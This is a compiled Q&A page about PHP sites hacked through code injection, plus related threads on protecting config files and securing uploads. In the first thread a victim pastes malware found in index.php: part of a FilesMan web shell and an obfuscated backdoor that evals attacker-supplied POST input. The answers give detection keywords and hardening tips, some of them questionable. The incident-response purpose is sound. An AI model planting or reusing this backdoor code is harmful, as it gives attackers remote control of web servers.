Codeigniter application getting hacked, code injected in index.php - php
I have a codeigniter 2.0.2 project that keeps getting hacked. There are two main issues:
Malicious code is being added to the start of the index.php file
Rogue files are added to the server
According to the host there are no FTP logs to indicate these files were uploaded.
As there are no FTP upload logs related to the rogue files - does this mean it must be an exploit via the site itself e.g. a contact or upload form?
The site is on shared hosting - code it be a site on the same server is also getting hacked and this is causing the problems?
Would it help if I change the filename of index.php to something else?
As the index.php is getting modified should I CHMOD it to 644?
I've been looking for what the suggested permissions are for codeigniter projects but not sourced any yet. I was thinking 644 across the site apart from the upload/logs directory (777) - does this sound okay?
Code injected to the top of the index.php file:
<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-
which is then followed by a long preg_replace statement with a long encoded string. This is followed by a second statement:
if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}
There is a contact form and a form where a user can upload items using CKFinder 2.0.1. Going to update this and see if that resolves it.
There's a couple of things you can do:
Check your logfiles for POST requests to files with weird or unfamiliar names, e.g. .cache_123.php - these could be backdoor scripts, especially filenames starting with a dot, thus hiding it from the (regular) filesystem.
Download the complete live site and do a site-wide search for things such as base64_decode, exec, preg_replace, passthru, system, shell_exec, eval, FilesMan
Have your entire (downloaded live) site checked by running it through anti-virus software (AVG, Avast, ...)
Chmod upload directories 775 instead of 777 if possible
I know this is an old thread, but I'd like to add an option to figure out what and where the problem is occurring.
Create a hook which loads each time (doesn't matter at which stage) and dump the $this->input->post() and ->get() to a log file together with the classname and method name.
This way you will see quick enough where the problem started.
I think is far easier to hack through a PHP app rather than an FTP server. Do you have any upload forms ? If you can't go with a VPS, try asking your host to move it to another shared server.
I think you really need to perform a code audit to find where the core vulnerability lies. Unless you run some sort of integrity checks you can't be sure if attacker has put backdoor in other files.
As a quick fix, I would suggest you to install ModSecurity Apache module if possible. Next, look for places in code where file injection could occur (usually file upload functions).
Related
Redirect PHP controllers page [duplicate]
Hello and thanks to everyone for reading my question. I've been working on a PHP web program for a little while and was wondering what measures should I take to protect the source before putting it on a live server. The source isn't being distributed, it's being accessed through a website (users log into the website to use it). First I'd like to protect the source php files from being found and downloaded. I'm not using any framework, just php and all files are in the home directory as index.php. I read around and it seems that robots.txt isn't really effective for hiding. I came across some posts of people recommending .htaccess, but I often thought it was for protecting files within a directory with a password, so not sure if there's a way to make it htaccess suitable for a web app. Second, I'd like to protect the source files in the case someone gets access to them (either finds them and downloads them or a sys admin that has ready access to the server). I thought of source encryption with something like ioncube. My host also has GnuPG [which I'm not familiar with, any thoughts about it compared to ioncube?] I'm not familiar with source protection, so any ideas would be nice, and of course thank you muchly :)
Just make sure your web server is set up to handle .php files correctly, and that all files have the correct .php extension (not .php.inc or similar) As long as your server executes the PHP, no one can download its source code (ignoring any security holes in your code, which is a different topic) There was a time when it was common to name included files along the lines of mystuff.php.inc - this is a bad idea. Say your site is at "example.com", and you store your database configuration in config.php.inc - if someone guesses this URL, they can request http://example.com/config.php.inc and get your database login in plain text.. It is a good idea to store configuration and other libraries up one directory as bisko answered - so you have a directory structure like.. /var/example.com: include/ config.php helper_blah.php webroot/ index.php view.php This way, even if your web-server config gets screwed up, and starts serving .php files as plain text, it'll be bad, but at least you wont be announcing your database details to the world.. As for encrypting the files, I don't think this is a good idea.. The files must be unencrypted to Apache (or whatever server you're using) can access them. If Apache can access it, your sysadmin can too.. I don't think encryption is the solution to an untrustworthy sysadmin..
Well for your first point, that's web server security, which you should look for help on serverfault. Basically you would use a secure/locked directory for this, or access the files in a virtual directory via a web service. For you second point, you would use an obfuscator for this, which will protect your source, but remember that if they get the file, you can only do so much to protect it. If they are really interested, they'll get what they want.
The first step you should take is take out all unnecessary files out of the website root and put them in some other place and leave only the files, being called from the web. For example if you have this setup: /var/htdocs/mysexydomain.com/root/config.php /var/htdocs/mysexydomain.com/root/db.class.php /var/htdocs/mysexydomain.com/root/index.php /var/htdocs/mysexydomain.com/root/samplepage1.php Take all the files one level above so you get /var/htdocs/mysexydomain.com/includes/config.php /var/htdocs/mysexydomain.com/includes/db.class.php #see the includes dir? :) /var/htdocs/mysexydomain.com/root/index.php /var/htdocs/mysexydomain.com/root/samplepage1.php
How to secure configuration file containing database username and password
Issue
In order to connect my PHP code with MySQL database I use PDO way, creating variable, assigning it with new PDO object where arguments contain settings such as server, database, login and password. So in resulting code it could look like this:
$DAcess=new PDO("mysql:host=server;dbname=database","login","password");
I don't feel comfortable having my login data written directly into the code nor do I find it effective in case of possible changes of those data. It was recommended to me to solve this by storing those data in other text file (preferably .INI file) from which it is going to be retrieved anytime I need, for example, having file:
xampp/htdoc/EXERCISE/secret/config.ini
The problem is If any user figures out the location and name of this file, they can easily access it and its content by entering URL/HTTP request into their browser:
server(localhost)/EXERCISE/secret/config.ini
It was adviced to me by the same source the file is supposed to be forbidden from acess by those protocols. So I need to be able to acess the file with my PHP code but disallow any user to acess the directory/file on their own. How to do this?
Possible Solution
I have been roaming these pages and other similar forumses yet all results of my research with keywords such as "forbidden" were about users who lost permission unintentionally. I have also been looking for Google solution, yet Tutorials I have found were referencing to file located somewhere else in my XAMPP version and were about lines of settings not included in this file in my XAMPP version - considering I have downloaded XAMPP from official page, I should be having recent version, thus those tutorials were outdated.
It left me with no other choice but experiment on my own. After a while, I have found directory "forbidden" in directory "htdoc", have played with those files and have ended up with something looking like solution to my issue.
Specifically, I copied .htacess (obviously nameless text file with but extension) and placed its copy into to-be-forbidden directory. I changed nothing in the file but line referencing to login data storing file. I have created my own text file (nameless with but extension .ldatastore) where using copied pattern login:password I have written my own desired login data and made .htacess use this file instead of original htdoc/forbidden/.htpassw.
Since then, it seems it works. Whenever I try to acces those files with my browser on new session (browser closed and opened again, otherwise it doesn't need autentification again), it does not let me browse the directory nor look into its files (neither those which are responsible for those actions such as .htacess or those I created myself such as config.ini) unless I provide valid login data same to those in .ldatastore text file.
So why am I asking this? I feel uncomfortable doing it this way because of several reasons listed below. In case this is the only easy and possible solution, I can live with that, but in case there is much better way you would recommend, I will gladly read that, which is why I am asking for your suggestions. I was also writing this whole text to explain my case fully, provide enough data and express "I have done some research and understanding of the case before asking" so that this would not be by the rules of this page marked as "off-topic".
Reasons Why I Would Prefer Alternative Solution
I feel like it is XAMPP framework dependant. That the whole module making this work is part of the framework's code while .htacess just marks the directories that should be forbidden by this module. That means I am afraid If I would release my project on proper paid server hosting with their own PHP executing software, it wouldn't work everywhere and that this is just XAMPP way to do it. Correct me If I am wrong and this is solution used widely on any PHP executioner.
I was trying to understand the module's documentation located as text file in the "forbidden" directory yet it seems from the documentation this module was developed mainly to make one safe and forbidden server storing secret data accessible then by various different application on different servers rather than just forbidding secret directory (I would leave this directory to be part of my application which is major difference between my usage and by author assumed usage). Correct me If I am wrong and I misunderstood the usage.
Despite the fact I cannot acces the files via browser without login data, my PHP code seems to have no problem acessing the files - I used PHP code to retrieve text from text file that should be forbidden this way and it worked (it echoed the text) with no sign of problems. Well, in the end, I certainly would like to make it work this way yet I expected even PHP code that retrieves the text would need to somehow contain login data to have access. This way it feels like anyone instead of entering the reference into browser would make their own PHP code that would acces those files from my server (which would make this act to increase security useless little bit). Correct me If I am wrong and it is not this easy.
I feel paranoid that it is not safe enough solution. Correct me If I am wrong and it is totally safe and preffered solution.
Too Long, Didn't Read
Is copying and pasting and customizing .htacess file safe enough to make directory forbidden only acessible by my PHP code to retrieve data from there and is it useable on most platforms?
I have recently found in right bar of similar questions this one (How to secure database configuration file in project?), yet I am not sure whether it can be used in my case, too, and how to do so.
As #Darkbee stated, the simplest way is to have the file outside your website root. This would be accessible on the server, but not to the public under any circumstances. The alternative is to set the permissions to 400 on the file. .htaccess could block access, but not blocking access to the server (which needs access) is just a long way of doing what would be simpler just using permissions.
php security issue - file uploads
On of my client approached me to check and fix the hacked site. Site was developed by another developer , Very inexperienced developer not even basic security taken care of. Well the problem was somehow PHP files were written to the images folder. Hackers also wrote an index.html which displays site is hacked. When I check images folder has 777 permissions. So I came to rough conclusion that its because of folder permissions. Hosting support guy says that some PHP file has poorly written scripts which allowed any extension file to upload to server, and then hackers executed files to gain access or do whatever they want. I have few questions: Is it only through upload functionality can we upload other PHP files ? Is it not possible other way to write files from remote as folder permissions are 777? Sit has some fckeditors editors and couple of upload functionalities. I checked them, there are enough validations , so when extensions other then images or PDF are tried to upload they just return false . Does'nt setting folder permissions to lower level fix the issue? I asked the support guy to change folder permissions and it would solve the issue, but he says there is some PHP file through of which other PHP files were written and he wants that to be fixed otherwise site cannot go live. He says even folder permissions are changed hacker can again change them to 777 and execute whatever he wants because that poorly written PHP file. How should be my approach to find if there is such PHP file? Any help or pointers would be much appreciated.
777 means that any user on the system (with execute access for all the parent directories, anyway) can add anything to that directory. Web users are not system users, though, and most web servers (Apache included) won't let random clients write files there right out of the box. You'd have to specifically tell the server to allow that, and i'm fairly certain that's not what happened. If you're allowing any file uploads, though, the upload folder needs to at least be writable by the web server's user (or the site's, if you're using something like suPHP). And if the web server can write to that directory, then any PHP code can write to that directory. You can't set permissions high enough to allow uploads and low enough to keep PHP code from running, short of making the directory write-only (which makes it pretty useless for fckeditor and such). The compromise almost certainly happened because of a vulnerability in the site itself. Chances are, either there's a file upload script that's not properly checking where it's writing to, or a script that blindly accepts a name of something to include. Since the PHP code typically runs as the web server's user, it has write access to everything the web server has write access to. (It's also possible that someone got in via FTP, in which case you'd better change your passwords. But the chances of the web server being at fault are slim at best.) As for what to do at this point, the best option is to wipe the site and restore from backup -- as has been mentioned a couple of times, once an attacker has gotten arbitrary code to run on your server, there's not a whole lot you can trust anymore. If you can't do that, at least find any files with recent modification times and delete them. (Exploits hardly ever go through that much trouble to cover their tracks.) Either way, then set the permissions on any non-upload, non-temp, non-session directories -- and all the existing scripts -- to disallow writes, period...particularly by the web server. If the site's code runs as the same user that owns the files, you'll want to use 555 for directories and 444 for files; otherwise, you can probably get by with 755/644. (A web server would only be able to write those if it's horribly misconfigured, and a hosting company that incompetent would be out of business very quickly.) Frankly, though, the "support guy" has the right idea -- i certainly wouldn't let a site go live on my servers knowing that it's going to be executing arbitrary code from strangers. (Even if it can't write anything to the local filesystem, it can still be used to launch an attack on other servers.) The best option for now is to remove all ability to upload files for now. It's obvious that someone has no idea how to handle file uploads securely, and now that someone out there knows you're vulnerable, chances are you'd keep getting hacked anyway til you find the hole and plug it. As for what to look for...unfortunately, it's semi vague, as we're talking about concepts above the single-statement level. Look for any PHP scripts that either include, require, or write to file names derived in any way from $_GET, $_POST, or $_COOKIE.
Changing folder permissions won’t solve the issue unless you’re using CGI, since PHP probably needs to be able to write to an upload folder, and your web server probably needs to be able to read from it. Check the extension of any uploaded files! (So no, 0777 permissions don’t mean that anyone can upload anything.)
As cryptic mentioned, once a hacker can run code on your server then you have to assume that all files are potentially dangerous. You should not try to fix this yourself - restoring from a backup (either from the client or the original developer) is the only safe way around this. Once you have the backup files ready, delete everything on your your site and upload the backup - if it is a shared host you should contact them as well in case other files are compromised [rarely happens though].
You've identified 2 issues: the permissions and the lack of extension checking however have you any evidence that these were the means by which the system was compromised? You've not provided anything to support this assertion. Changing the permissions to something more restrictive would have provided NO PROTECTION against users uploading malicious PHP scripts. Checking the extensions of files might have a made it a bit more difficult to inject PHP code into the site, it WOULD NOT PREVENT IT. Restoring from backup might remove the vandalized content but WILL NOT FIX THE VULNERABILITIES in the code. You don't have the skills your client (whom is probably paying you for this) needs to resolve this. And acquiring those skills is a much longer journey than reading a few answers here (although admittedly it's a start).
Is it only through upload functionality can we upload other PHP files ? Is it not possible other way to write files from remote as folder permissions are 777? There definitely are multiple possible ways to write a file in the web server’s document root directory. Just think of HTTP’s PUT method, WebDAV, or even FTP that may be accessible anonymously. Sit has some fckeditors editors and couple of upload functionalities. I checked them, there are enough validations , so when extensions other then images or PDF are tried to upload they just return false . There are many things one can do wrong when validating an uploaded file. Trusting the reliability of information the client sent is one of the biggest mistakes one can do. This means, it doesn’t suffice to check whether the client says the uploaded file is an image (e.g. one of image/…). Such information can be easily forged. And even proper image files can contain PHP code that is being executed when interpreted by PHP, whether it’s in an optional section like a comment section or in the image data itself. Does'nt setting folder permissions to lower level fix the issue? No, probably not. The upload directory must be writable by PHP’s and readable by the web server’s process. Since both are probably the same and executing a PHP file requires only reading permissions, any uploaded .php file is probably also executable. The only solution is to make sure that the stored files don’t have any extension that denote files that are executed by the web server, i.e. make sure a PNG is actually stored as .png.
Magento security issue
I am using a magento for my site. I am facing the some problem with it. After some time a code gets added in the header of the index files. and my site stops working. When I remove that error like (encrypted) code again site works well. Is there any way to avoid such code injections? I searched on the net but have not got the proper solution.
Only the /var and /media directories need to be writeable during normal operation, remove write privileges for the PHP user for all other dirs and files. This makes injection attacks much harder. This will interfere with updates applied via the Connect Manager, but I don't like to use that on live sites anyway. I prefer to apply updates on a local or staging copy, test, then upload via FTP or version control which does have write privileges.
All PHP files getting hacked
Like always, just want to say thank you for all of the help and input in advance. I have a particular site that I am the web developer for and am running into a unique problem. It seems that somehow something is getting into every single PHP file on my site and adding some malware code. I have deleted the code from every page multiple times and changed FTP and DB passwords, but to no avail. The code that is added looks like this - eval(base64_decode(string)) - which the string is 3024 characters. Not sure if anyone else has ran into this problem or if any one has ideas on how I can secure my php code up. Thanks again.
The server itself could be compromised. Report the problem to your web host. What is their response? An insecure PHP script coupled with incorrect file permissions could give the attacker the ability to modify your PHP files. To eliminate this possibility I would take the site down, delete all the files, re-upload, then switch permissions on the entire site to deny any writes to the file system. Edit: As a short-term fix try asking your web host to disable eval() for your account. If they're worth their salt they should be running Suhosin which has an option to disable eval.
You should use "disable_functions=eval,exec" in your php.ini or .htaccess as first measure.
yes i have ran into this problem myself, i take it you are on a shared host? are you perchance on rackspacecloud? this is where i had that problem, the first thing you need to do right away is notify your host, this is a hosting issue, and i suspect the malware has gained access to your server on an ftp level. make sure you have nothing chmod 777 world writable, if it needs to be writable by your app make it 775 hope this helps, good luck
You should change the file permissions so that only you can write to those files. 0777 (the default on some hosts, I believe) is just asking for trouble. See File Permissions. Also, it's advisable to not put any files that aren't supposed to be accessible by URL outside of the public_html folder, for example, config files.
I had a similar problem. However, my problem was that I was running a python code evaluator on my site. As far as I remember you need to use eval() function to execute the python code. In one of my php files I had a weird eval statement. What kind of script are you developing? I mean does it involve evaluation of some other code?
You should also note that (assuming you are using a hosting solution to host your site) that it's almost never your fault. An example being that networksolutions hosting company recently had a server hacked and over 1K webpages were affected, not due to security holes on each particular site, but due to some bad configuration/monitering of what was put on that particular server that hosts those sites. If you can't see any thing security wise wrong with your code, aka you sanitize everything properly and or you are running a non vulnerable version of whatever CMS you are using (if your using a CMS) then it's probably not an issue with your site, just the server in general.
You should move to another server. It would appear that the attacker has access to the server or is running some code as a background process which is overwriting the files. It may be possible to identify and remove the problem, but smart attackers will hide additional scripts etc to trip you up later.
I've come across viruses that read filezilla conf files. I SWEAR TO GOD. at first i was: WOW, then i was: mother f*** sneaky b*stards. Check your pc for viruses.
One of the possible scenarios is that somebody managed to get write access somehow and changing passwords etc. helped, but he left a php file that can still run. See if there are any unknown files there. Or delete every damn thing and restore some backups.
Get the last modified time of your files, then go over to your access logs (FTP, HTTP whatever's open, if you don't know where they are ask your host) and find out who was mucking around on your system at that time. Likely the attacker has installed a script that they can call periodically to re-infect any files you fix.